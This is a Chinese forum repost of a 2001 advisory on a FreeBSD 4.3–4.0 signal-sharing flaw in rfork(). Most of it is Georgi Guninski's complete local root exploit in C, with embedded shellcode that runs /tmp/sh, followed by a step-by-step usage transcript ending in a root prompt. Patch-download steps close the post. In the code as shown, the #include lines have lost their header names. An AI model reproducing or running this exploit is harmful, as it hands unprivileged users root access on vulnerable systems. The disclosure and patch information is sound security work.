本地攻击者利用 FreeBSD 4.3 设计漏洞取得系统特权

JavaGG 发布于 2009/05/05 14:59
阅读 421
收藏 0

发现 FreeBSD 4.3 存在一个设计上的漏洞,它允许用户在其它进程中插入 signal handlers。问题出在 rfork(RFPROC|RFSIGSHARE) ,如果子进程 exec() 一个 setuid 程序,然后父进程设置一个 signal handlers,这个 signal handlers 将会在子进程中被复制。发送一个信号给子进程将能导致 signal handlers 被执行。
利用此漏洞,本地攻击者能取得 root 权限。


以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负


-------------vvfreebsd.c---------------------- 


/* 
FreeBSD 4.3 local root exploit using shared signals. 
Written by Georgi Guninski http://www.guninski.com 
*/ 


#include 
#include 
#include 
int vv1; 


#define MYSIG SIGINT 



//exec "/tmp/sh", shellcode gotten from the internet and modified 
unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x31\xc0\x50\x50\xb0\xb7\xcd\x80" 
"\x31\xc0\x50\x50\xb0\x17\xcd\x80" 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" 
"\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53" 
"\xb0\x3b\x50\xcd\x80\x90\x90\x90"; 


typedef (*PROG)(); 
extern char **environ; 


int main(int ac,char **av) 

int pid; 
//(*(PROG)bsdshell)(); 
if(!(vv1=getenv("vv"))) 

setenv("vv",bsdshell,1); 
if(!execle(av[0],"vv",NULL,environ)) 

perror("weird exec"); 
exit(1); 




printf("vvfreebsd. Written by Georgi Guninski\n"); 
printf("shall jump to %x\n",vv1); 


if(!(pid=rfork(RFPROC|RFSIGSHARE))) 

printf("child=%d\n",getpid()); 
// /usr/bin/login and rlogin work for me. ping gives nonsuid shell 
// if(!execl("/usr/bin/rlogin","rlogin","localhost",0)) 
if(!execl("/usr/bin/login","login",0)) 

perror("exec setuid failed"); 
exit(2); 
}; 

sleep(2); 
signal(MYSIG,(sig_t)vv1); 
sleep(2); 
kill(pid,MYSIG); 
printf("done\n"); 
while(42); 


---------------------------------------------- 

受影响版本:
FreeBSD 4.3 4.2 4.1 4.0
早期版本也许受影响 

解决方案: 
尚无 

****** 2001-07-14 add by NetDemon(netdemon@20cn.net) ****** 
测试程序使用方法:

netdemon%gcc -o vvbsd vvbsd.c
netdemon%cp /bin/sh /tmp 
netdemon%./vvbsd 
vvfreebsd. Written by Georgi Guninski
shall jump to bfbffe71 
child=61056
login:
login: # done


FreeBSD以此作出补丁


方法:

# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch.asc
# cd /usr/src/sys/kern
# patch -p < /path/to/patch 

转自20世纪网络安全小组

     [img http://asp.6to23.com/cnean/bbs/pic/LOGO.GIF\img]








原文链接:http://bbs.chinaunix.net/viewthread.php?tid=16049

转载请注明作者名及原文出处



加载中
返回顶部
顶部